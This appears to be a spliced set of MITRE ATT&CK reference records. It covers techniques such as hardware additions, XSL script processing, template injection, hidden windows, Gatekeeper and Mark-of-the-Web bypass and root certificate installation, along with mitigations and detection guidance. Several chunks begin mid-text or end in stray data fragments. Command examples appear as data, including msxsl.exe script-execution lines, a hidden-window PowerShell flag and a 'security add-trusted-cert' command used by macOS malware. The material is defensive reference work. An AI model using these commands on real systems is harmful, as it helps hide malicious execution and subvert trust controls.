Rather than just connecting and distributing payloads via removable storage (i.e. Replication Through Removable Media), more robust hardware additions can be used to introduce new functionalities and/or features into a system that can then be abused.\n\nWhile public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping, network traffic modification (i.e. Adversary-in-the-Middle), keystroke injection, kernel memory reading via DMA, addition of new wireless access points to an existing network, and others.\n\n**Classification.** - Tactics: initial-access\n- Platforms: Windows, Linux, macOS\n\n**Mitigations.** - **Limit Access to Resource Over Network**: Restrict access to network resources, such as file shares, remote systems, and services, to only those users, accounts, or systems with a legitimate business requirement. This can include employing technologies like network concentrators, RDP gateways, and zero-trust network access (ZTNA) models, alongside hardening services and protocols. This mitigation can be implemented through the following measures:\n- **Limit Hardware Installation**: Prevent unauthorized users or groups from installing or using hardware, such as external drives, peripheral devices, or unapproved internal hardware components, by enforcing hardware usage policies and technical controls. This includes disabling USB ports, restricting driver installation, and implementing endpoint security tools to monitor and block unapproved devices. […]"}]}

Various file types have a typical standard format, including how they are encoded and organized. For example, a file’s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file’s type. For example, the header of a JPEG file, is ` 0xFF 0xD8` and the file extension is either `.JPE`, `.JPEG` or `.JPG`.\n\nAdversaries may edit the header’s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., Ingress Tool Transfer) and stored (e.g., Upload Malware) so that adversaries may move their malware without triggering detections.\n\nCommon non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign. Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of `test.gif`. A user may not know that a file is malicious due to the benign appearance and file extension.\n\nPolyglot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.\n\n## Reference: ATT&CK T1102.002 Bidirectional Communication\n**ATT&CK T1102.002 Bidirectional Communication (full record).** Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise.

Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes. These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\n\nAdversaries may abuse these OS API functions as a means of executing behaviors. Similar to Command and Scripting Interpreter, the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system.\n\nNative API functions (such as `NtCreateProcess`) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries. For example, functions such as the Windows API `CreateProcess` or GNU `fork` will allow programs and scripts to start other processes. This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.\n\nHigher level software frameworks, such as Microsoft.NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.\n\nAdversaries may use assembly to directly or in-directly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks. Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via Disable or Modify Tools.\n\n**Classification.** - Tactics: execution\n- Platforms: Linux, macOS, Windows\n\n**Mitigations.** - **Execution Prevention**: Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms.

Antivirus/Antimalware software should be deployed across all devices, with automated updates to ensure protection against the latest threats.\n- **Execution Prevention**: Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures:\n\n## Reference: ATT&CK M1006 Use Recent OS Version\n**ATT&CK M1006 Use Recent OS Version (full record).** New mobile operating system versions bring not only patches against discovered vulnerabilities but also often bring security architecture improvements that provide resilience against potential vulnerabilities or weaknesses that have not yet been discovered.

By integrating security throughout the software development lifecycle (SDLC), this mitigation aims to prevent the introduction of exploitable weaknesses in applications, systems, and APIs. This mitigation can be implemented through the following measures:\n\nPreventing SQL Injection (Secure Coding Practice):\n\n- Implementation: Train developers to use parameterized queries or prepared statements instead of directly embedding user input into SQL queries.\n- Use Case: A web application accepts user input to search a database. By sanitizing and validating user inputs, developers can prevent attackers from injecting malicious SQL commands.\n\nCross-Site Scripting (XSS) Mitigation:\n\n- Implementation: Require developers to implement output encoding for all user-generated content displayed on a web page.\n- Use Case: An e-commerce site allows users to leave product reviews. Properly encoding and escaping user inputs prevents malicious scripts from being executed in other users’ browsers.\n\nSecure API Design:\n\n- Implementation: Train developers to authenticate all API endpoints and avoid exposing sensitive information in API responses.\n- Use Case: A mobile banking application uses APIs for account management. By enforcing token-based authentication for every API call, developers reduce the risk of unauthorized access.\n\nStatic Code Analysis in the Build Pipeline:\n\n- Implementation: Incorporate tools into CI/CD pipelines to automatically scan for vulnerabilities during the build process.\n- Use Case: A fintech company integrates static analysis tools to detect hardcoded credentials in their source code before deployment.\n\nThreat Modeling in the Design Phase:\n\n- Implementation: Use frameworks like STRIDE (Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, Elevation of Privilege) to assess threats during application design.\n- Use Case: Before launching a customer portal, a SaaS company identifies potential abuse cases, such as session hijacking, and designs mitigations like secure session management.\n\n**Tools for Implementation**:\n\n- Static Code Analysis Tools: Use tools that can scan for known vulnerabilities in source code.

This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled. This mitigation can be implemented through the following measures:\n\nRemove Legacy Software:\n\n- Use Case: Disable or remove older versions of software that no longer receive updates or security patches (e.g., legacy Java, Adobe Flash).\n- Implementation: A company removes Flash Player from all employee systems after it has reached its end-of-life date.\n\nDisable Unused Features:\n\n- Use Case: Turn off unnecessary operating system features like SMBv1, Telnet, or RDP if they are not required.\n- Implementation: Disable SMBv1 in a Windows environment to mitigate vulnerabilities like EternalBlue.\n\nControl Applications Installed by Users:\n\n- Use Case: Prevent users from installing unauthorized software via group policies or other management tools.\n- Implementation: Block user installations of unauthorized file-sharing applications (e.g., BitTorrent clients) in an enterprise environment.\n\nRemove Unnecessary Services:\n\n- Use Case: Identify and disable unnecessary default services running on endpoints, servers, or network devices.\n- Implementation: Disable unused administrative shares (e.g., C$, ADMIN$) on workstations.\n\nRestrict Add-ons and Plugins:\n\n- Use Case: Remove or disable browser plugins and add-ons that are not needed for business purposes.\n- Implementation: Disable Java and ActiveX plugins in web browsers to prevent drive-by attacks.\n\n## Limit Hardware Installation\nPrevent unauthorized users or groups from installing or using hardware, such as external drives, peripheral devices, or unapproved internal hardware components, by enforcing hardware usage policies and technical controls. This includes disabling USB ports, restricting driver installation, and implementing endpoint security tools to monitor and block unapproved devices. This mitigation can be implemented through the following measures:\n\nDisable USB Ports and Hardware Installation Policies:\n\n- Use Group Policy Objects (GPO) to disable USB mass storage devices:\n- Navigate to Computer Configuration > Administrative Templates > System > Removable Storage Access.\n- Deny write and read access to USB devices.\n- Whitelist approved devices using unique serial numbers via Windows Device Installation Policies.\n\nDeploy Endpoint Protection and Device Control Solutions:\n\n- Use tools like Microsoft Defender for Endpoint, Symantec Endpoint Protection, or Tanium to monitor and block unauthorized hardware.\n- Implement device control policies to allow specific hardware types (e.g., keyboards, mice) and block others.\n\nHarden BIOS/UEFI and System Firmware:\n\n- Set strong passwords for BIOS/UEFI access.\n- Enable Secure Boot to prevent rogue hardware components from loading unauthorized firmware.\n\nRestrict Peripheral Devices and Drivers:\n\n- Use Windows Device Manager Policies to block installation of unapproved drivers.\n- Monitor hardware installation attempts through endpoint monitoring tools.\n\nDisable Bluetooth and Wireless Hardware:\n\n- Use GPO or MDM tools to disable Bluetooth and Wi-Fi interfaces across systems.\n- Restrict hardware pairing to approved devices only.\n\nLogging and Monitoring:\n\n- Enable logging for hardware installation events in Windows Event Logs (Event ID 20001 for Device Setup Manager).\n- Use SIEM solutions (e.g., Splunk, Elastic Stack) to detect unauthorized hardware installation activities.\n\n*Tools for Implementation*\n\nUSB and Device Control:\n\n- Microsoft Group Policy Objects (GPO)\n- Microsoft Defender for Endpoint\n- Symantec Endpoint Protection\n- McAfee Device Control\n\nEndpoint Monitoring:\n\n- EDRs\n- OSSEC (open-source host-based IDS)\n\nHardware Whitelisting:\n\n- BitLocker for external drives (Windows)\n- Windows Device Installation Policies\n- Device Control\n\nBIOS/UEFI Security:\n\n- Secure Boot (Windows/Linux)\nFirmware management tools like Dell Command Update or HP Sure Start\n\n## Data Loss Prevention\nData Loss Prevention (DLP) involves implementing strategies and technologies to identify, categorize, monitor, and control the movement of sensitive data within an organization. This includes protecting data formats indicative of Personally Identifiable Information (PII), intellectual property, or financial data from unauthorized access, transmission, or exfiltration. DLP solutions integrate with network, endpoint, and cloud platforms to enforce security policies and prevent accidental or malicious data leaks. This mitigation can be implemented through the following measures:\n\nSensitive Data Categorization:\n\n- Use Case: Identify and classify data based on sensitivity (e.g., PII, financial data, trade secrets).\n- Implementation: Use DLP solutions to scan and tag files containing sensitive information using predefined patterns, such as Social Security Numbers or credit card details.\n\nExfiltration Restrictions:\n\n- Use Case: Prevent unauthorized transmission of sensitive data.\n- Implementation: Enforce policies to block unapproved email attachments, unauthorized USB usage, or unencrypted data uploads to cloud storage.\n\nData-in-Transit Monitoring:\n\n- Use Case: Detect and prevent the transmission of sensitive data over unapproved channels.\n- Implementation: Deploy network-based DLP tools to inspect outbound traffic for sensitive content (e.g., financial records or PII) and block unapproved transmissions.\n\nEndpoint Data Protection:\n\n- Use Case: Monitor and control sensitive data usage on endpoints.\n- Implementation: Use endpoint-based DLP agents to block copy-paste actions of sensitive data and unauthorized printing or file sharing.\n\nCloud Data Security:\n\n- Use Case: Protect data stored in cloud platforms.\n- Implementation: Integrate DLP with cloud storage platforms like Google Drive, OneDrive, or AWS to monitor and restrict sensitive data sharing or downloads.\n\n## Principle\nAgainst T1052.001, prefer preventive controls that remove the preconditions over purely detective controls, and layer the two.\n\n## ATT&CK T1052.001 Exfiltration over USB (full record)\nAdversaries may attempt to exfiltrate data over a USB connected physical device. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a USB device introduced by a user. The USB device could be used as the final exfiltration point or to hop between otherwise disconnected systems.\n\n## Reference: ATT&CK T1564.003 Hidden Window\n**ATT&CK T1564.003 Hidden Window (full record).** Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks.\n\nAdversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.\n\nOn macOS, the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be `apple.awt.UIElement`, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.\n\nSimilarly, on Windows there are a variety of features in scripting languages, such as PowerShell, Jscript, and Visual Basic to make windows hidden. One example of this is `powershell.exe -WindowStyle Hidden`.\n\nThe Windows Registry can also be edited to hide application windows from the current user. For example, by setting the `WindowPosition` subkey in the `HKEY_CURRENT_USER\\Console\\%SystemRoot%_System32_WindowsPowerShell_v1.0_PowerShell.exe` Registry key to a maximum value, PowerShell windows will open off screen and be hidden.\n\nIn addition, Windows supports the `CreateDesktop` API that can create a hidden desktop window with its own corresponding `explorer.exe` process. All applications running on the hidden desktop window, such as a hidden VNC (hVNC) session, will be invisible to other desktops windows.\n\nAdversaries may also leverage cmd.exe as a parent process, and then utilize a LOLBin, such as DeviceCredentialDeployment.exe, to hide windows.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1564 Hide Artifacts - Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. […]\n\n## Reference: ATT&CK T1564.004 NTFS File Attributes\n**ATT&CK T1564.004 NTFS File Attributes (full record).** Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. Within MFT entries are file attributes, such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files).\n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus.\n\n**Classification.** - Tactics: stealth\n- Platforms: Windows\n- Sub-technique of: T1564 Hide Artifacts - Adversaries may attempt to hide artifacts associated with their behaviors to evade detection.\n\n**Mitigations.** - **Restrict File and Directory Permissions**: Restricting file and directory permissions involves setting access controls at the file system level to limit which users, groups, or processes can read, write, or execute files. By configuring permissions appropriately, organizations can reduce the attack surface for adversaries seeking to access sensitive data, plant malicious code, or tamper with system files.\n\n**Detection strategies and analytics.** - **Detection Strategy for NTFS File Attribute Abuse (ADS/EAs)**\n  - Suspicious use of NTFS file attributes such as Alternate Data Streams (ADS) or Extended Attributes (EA) to hide data. Defender perspective: anomalous file creations or modifications containing colon syntax (file.ext:ads), API calls like ZwSetEaFile/ZwQueryEaFile, or PowerShell/Windows utilities interacting with -stream parameters. Correlation across file metadata anomalies, process lineage, and command execution provides context. […]"}]}

(telemetry: auditd:SYSCALL:open, read, auditd:SYSCALL:Kernel Device Events - USB Block Devices)\n  - Detects external volume mount with Finder, Terminal, or script-initiated file copy from user profiles, sensitive folders, or cloud storage sync directories to USB. (telemetry: macos:unifiedlog:Volume Mount + Process Trace + File Read, fs:fsusage:Disk Activity Tracing, macos:osquery:process_events)\n\n## Tracked users (groups, malware, tools)\n- SPACESHIP (malware): SPACESHIP is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps.\n- Remsec (malware): Remsec is a modular backdoor that has been used by Strider and appears to have been designed primarily for espionage purposes. Many of its modules are written in Lua.\n- USBStealer (malware): USBStealer is malware that has been used by APT28 since at least 2005 to extract information from air-gapped networks.\n- Tropic Trooper (intrusion-set): Tropic Trooper is an unaffiliated threat group that has led targeted campaigns against targets in Taiwan, the Philippines, and Hong Kong.\n- Mustang Panda (intrusion-set): Mustang Panda is a China-based cyber espionage threat actor that has been conducting operations since at least 2012.\n- Agent.btz (malware): Agent.btz is a worm that primarily spreads itself via removable devices such as USB drives. It reportedly infected U.S. military networks in 2008.\n- Machete (malware): Machete is a cyber espionage toolset used by Machete. It is a Python-based backdoor targeting Windows machines that was first observed in 2010.\n\n## Reference: ATT&CK T1219.003 Remote Access Hardware\n**ATT&CK T1219.003 Remote Access Hardware (full record).** An adversary may use legitimate remote access hardware to establish an interactive command and control channel to target systems within networks. These services, including IP-based keyboard, video, or mouse (KVM) devices such as TinyPilot and PiKVM, are commonly used as legitimate tools and may be allowed by peripheral device policies within a target environment.\n\nRemote access hardware may be physically installed and used post-compromise as an alternate communications channel for redundant access or as a way to establish an interactive remote session with the target system. Using hardware-based remote access tools may allow threat actors to bypass software security solutions and gain more control over the compromised device(s).\n\n**Classification.** - Tactics: command-and-control\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1219 Remote Access Tools - An adversary may use legitimate remote access tools to establish an interactive command and control channel within a network.\n\n**Mitigations.** - **Limit Hardware Installation**: Prevent unauthorized users or groups from installing or using hardware, such as external drives, peripheral devices, or unapproved internal hardware components, by enforcing hardware usage policies and technical controls. This includes disabling USB ports, restricting driver installation, and implementing endpoint security tools to monitor and block unapproved devices. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Detect Remote Access via USB Hardware (TinyPilot, PiKVM)**\n  - Detection of USB-based remote access hardware (e.g., TinyPilot, PiKVM) attached to the host via drive or peripheral enumeration, triggering vendor identifiers or unusual EDID announcements. (telemetry: WinEventLog:System:EventCode=2003)\n  - Insertion of USB-based hardware proxies (e.g., PiKVM) which register under predictable names (e.g., tinypilot) or mount under known paths (e.g., /opt/tinypilot-privileged). […]\n\n## Reference: ATT&CK T1220 XSL Script Processing\n**ATT&CK T1220 XSL Script Processing (full record).** Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages.\n\nAdversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to Trusted Developer Utilities Proxy Execution, the Microsoft common line transformation utility binary (msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.\n\nCommand-line examples:\n\n* `msxsl.exe customers[.]xml script[.]xsl`\n* `msxsl.exe script[.]xsl script[.]xsl`\n* `msxsl.exe script[.]jpeg script[.]jpeg`\n\nAnother variation of this technique, dubbed “Squiblytwo”, involves using Windows Management Instrumentation to invoke JScript or VBScript within an XSL file. This technique can also execute local/remote scripts and, similar to its Regsvr32/ \"Squiblydoo\" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in Windows Management Instrumentation provided they utilize the /FORMAT switch. […]\n\n## Reference: ATT&CK T1221 Template Injection\n**ATT&CK T1221 Template Injection (full record).** Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft’s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx,.pptx) to replace older binary formats (.doc,.xls,.ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.\n\nProperties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.\n\nAdversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded. These documents can be delivered via other techniques such as Phishing and/or Taint Shared Content and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched. Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.\n\nAdversaries may also modify the `*\\template` control word within an.rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an.rtf file is opened.

Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site.\n\nAdversaries may attempt to subvert these trust mechanisms. The method adversaries use will depend on the specific mechanism they seek to subvert. Adversaries may conduct File and Directory Permissions Modification or Modify Registry in support of subverting these controls. Adversaries may also create or steal code signing certificates to acquire trust on target systems.\n\n**Classification.** - Tactics: defense-impairment\n- Platforms: Linux, macOS, Windows\n\n**Sub-techniques.** - T1553.005 Mark-of-the-Web Bypass: Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls.\n- T1553.002 Code Signing: Adversaries may create, acquire, or steal code signing materials to sign their malware or tools.\n- T1553.004 Install Root Certificate: Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.\n- T1553.003 SIP and Trust Provider Hijacking: Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks.\n- T1553.006 Code Signing Policy Modification: Adversaries may modify code signing policies to enable execution of unsigned or self-signed code.\n- T1553.001 Gatekeeper Bypass: Adversaries may modify file attributes and subvert Gatekeeper functionality to evade user prompts and execute untrusted programs. […]\n\n## Reference: ATT&CK T1553.001 Gatekeeper Bypass\n**ATT&CK T1553.001 Gatekeeper Bypass (full record).** Adversaries may modify file attributes and subvert Gatekeeper functionality to evade user prompts and execute untrusted programs. Gatekeeper is a set of technologies that act as layer of Apple’s security model to ensure only trusted applications are executed on a host. Gatekeeper was built on top of File Quarantine in Snow Leopard (10.6, 2009) and has grown to include Code Signing, security policy compliance, Notarization, and more. Gatekeeper also treats applications running for the first time differently than reopened applications.\n\nBased on an opt-in system, when files are downloaded an extended attribute (xattr) called `com.apple.quarantine` (also known as a quarantine flag) can be set on the file by the application performing the download. Launch Services opens the application in a suspended state. For first run applications with the quarantine flag set, Gatekeeper executes the following functions:\n\n1. Checks extended attribute – Gatekeeper checks for the quarantine flag, then provides an alert prompt to the user to allow or deny execution.\n\n2. Checks System Policies - Gatekeeper checks the system security policy, allowing execution of apps downloaded from either just the App Store or the App Store and identified developers.\n\n3. Code Signing – Gatekeeper checks for a valid code signature from an Apple Developer ID.\n\n4. Notarization - Using the `api.apple-cloudkit.com` API, Gatekeeper reaches out to Apple servers to verify or pull down the notarization ticket and ensure the ticket is not revoked. Users can override notarization, which will result in a prompt of executing an “unauthorized app” and the security policy will be modified.\n\nAdversaries can subvert one or multiple security controls within Gatekeeper checks through logic errors (e.g. Exploitation for Stealth), unchecked file types, and external libraries. For example, prior to macOS 13 Ventura, code signing and notarization checks were only conducted on first launch, allowing adversaries to write malicious executables to previously opened applications in order to bypass Gatekeeper security checks. […]\n\n## Reference: ATT&CK T1553.003 SIP and Trust Provider Hijacking\n**ATT&CK T1553.003 SIP and Trust Provider Hijacking (full record).** Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature.\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all) and are identified by globally unique identifiers (GUIDs).\n\nSimilar to Code Signing, adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by:\n\n* Modifying the `Dll` and `FuncName` Registry values in `HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID}` that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. […]\n\n## Reference: ATT&CK T1553.004 Install Root Certificate\n**ATT&CK T1553.004 Install Root Certificate (full record).** Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide Adversary-in-the-Middle capability for intercepting information transmitted over secure TLS/SSL communications.\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.\n\nIn macOS, the Ay MaMi malware uses `/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert` to install a malicious certificate as a trusted root certificate into the system keychain. […]\n\n## Reference: ATT&CK T1553.005 Mark-of-the-Web Bypass\n**ATT&CK T1553.005 Mark-of-the-Web Bypass (full record).** Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named `Zone.Identifier` with a specific value known as the MOTW. Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file is not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.\n\nAdversaries may abuse container files such as compressed/archive (.arj,.gzip) and/or disk image (.iso,.vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.\n\n**Classification.** - Tactics: defense-impairment\n- Platforms: Windows\n- Sub-technique of: T1553 Subvert Trust Controls - Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs.

This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled. This mitigation can be implemented through the following measures:\n- **Limit Hardware Installation**: Prevent unauthorized users or groups from installing or using hardware, such as external drives, peripheral devices, or unapproved internal hardware components, by enforcing hardware usage policies and technical controls. This includes disabling USB ports, restricting driver installation, and implementing endpoint security tools to monitor and block unapproved devices. This mitigation can be implemented through the following measures:\n- **Data Loss Prevention**: Data Loss Prevention (DLP) involves implementing strategies and technologies to identify, categorize, monitor, and control the movement of sensitive data within an organization. This includes protecting data formats indicative of Personally Identifiable Information (PII), intellectual property, or financial data from unauthorized access, transmission, or exfiltration.\n\n## Reference: ATT&CK T1647 Plist File Modification\n**ATT&CK T1647 Plist File Modification (full record).** Adversaries may modify property list files (plist files) to enable other malicious activity, while also potentially evading and bypassing system defenses. macOS applications use plist files, such as the `info.plist` file, to store properties and configuration settings that inform the operating system how to handle the application at runtime. Plist files are structured metadata in key-value pairs formatted in XML based on Apple's Core Foundation DTD. Plist files can be saved in text or binary format.\n\nAdversaries can modify key-value pairs in plist files to influence system behaviors, such as hiding the execution of an application (i.e. Hidden Window) or running additional commands for persistence (ex: Launch Agent/Launch Daemon or Re-opened Applications).\n\nFor example, adversaries can add a malicious application path to the `~/Library/Preferences/com.apple.dock.plist` file, which controls apps that appear in the Dock. Adversaries can also modify the `LSUIElement` key in an application’s `info.plist` file to run the app in the background. Adversaries can also insert key-value pairs to insert environment variables, such as `LSEnvironment`, to enable persistence via Dynamic Linker Hijacking.\n\n**Classification.** - Tactics: defense-impairment\n- Platforms: macOS\n\n**Mitigations.** - **Application Developer Guidance**: Application Developer Guidance focuses on providing developers with the knowledge, tools, and best practices needed to write secure code, reduce vulnerabilities, and implement secure design principles. By integrating security throughout the software development lifecycle (SDLC), this mitigation aims to prevent the introduction of exploitable weaknesses in applications, systems, and APIs. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Detection Strategy for Plist File Modification (T1647)**\n  - Monitor for unexpected modifications of plist files in persistence or configuration directories (e.g., ~/Library/LaunchAgents, ~/Library/Preferences, /Library/LaunchDaemons). Detect when modifications are followed by execution of new or unexpected binaries. […]\n\n## Reference: ATT&CK T1648 Serverless Execution\n**ATT&CK T1648 Serverless Execution (full record).** Adversaries may abuse serverless computing, integration, and automation services to execute arbitrary code in cloud environments. Many cloud providers offer a variety of serverless resources, including compute engines, application integration services, and web servers.\n\nAdversaries may abuse these resources in various ways as a means of executing arbitrary commands. For example, adversaries may use serverless functions to execute malicious code, such as crypto-mining malware (i.e. Resource Hijacking). Adversaries may also create functions that enable further compromise of the cloud environment. For example, an adversary may use the `IAM:PassRole` permission in AWS or the `iam.serviceAccounts.actAs` permission in Google Cloud to add Additional Cloud Roles to a serverless cloud function, which may then be able to perform actions the original user cannot.\n\nServerless functions can also be invoked in response to cloud events (i.e. Event Triggered Execution), potentially enabling persistent execution over time. For example, in AWS environments, an adversary may create a Lambda function that automatically adds Additional Cloud Credentials to a user and a corresponding CloudWatch events rule that invokes that function whenever a new user is created. This is also possible in many cloud-based office application suites. For example, in Microsoft 365 environments, an adversary may create a Power Automate workflow that forwards all emails a user receives or creates anonymous sharing links whenever a user is granted access to a document in SharePoint. In Google Workspace environments, they may instead create an Apps Script that exfiltrates a user's data when they open a file.\n\n**Classification.** - Tactics: execution\n- Platforms: SaaS, IaaS, Office Suite\n\n**Mitigations.** - **Account Use Policies**: Account Use Policies help mitigate unauthorized access by configuring and enforcing rules that govern how and when accounts can be used. These policies include enforcing account lockout mechanisms, restricting login times, and setting inactivity timeouts. Proper configuration of these policies reduces the risk of brute-force attacks, credential theft, and unauthorized access by limiting the opportunities for malicious actors to exploit accounts. […]\n\n## Reference: ATT&CK T1649 Steal or Forge Authentication Certificates\n**ATT&CK T1649 Steal or Forge Authentication Certificates (full record).** Adversaries may steal or forge certificates used for authentication to access remote systems or resources. Digital certificates are often used to sign and encrypt messages and/or files. Certificates are also used as authentication material. For example, Entra ID device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials for domain accounts.\n\nAuthentication certificates can be both stolen and forged. For example, AD CS certificates can be stolen from encrypted storage (in the Registry or files), misplaced certificate files (i.e. Unsecured Credentials), or directly from the Windows certificate store via various crypto APIs. With 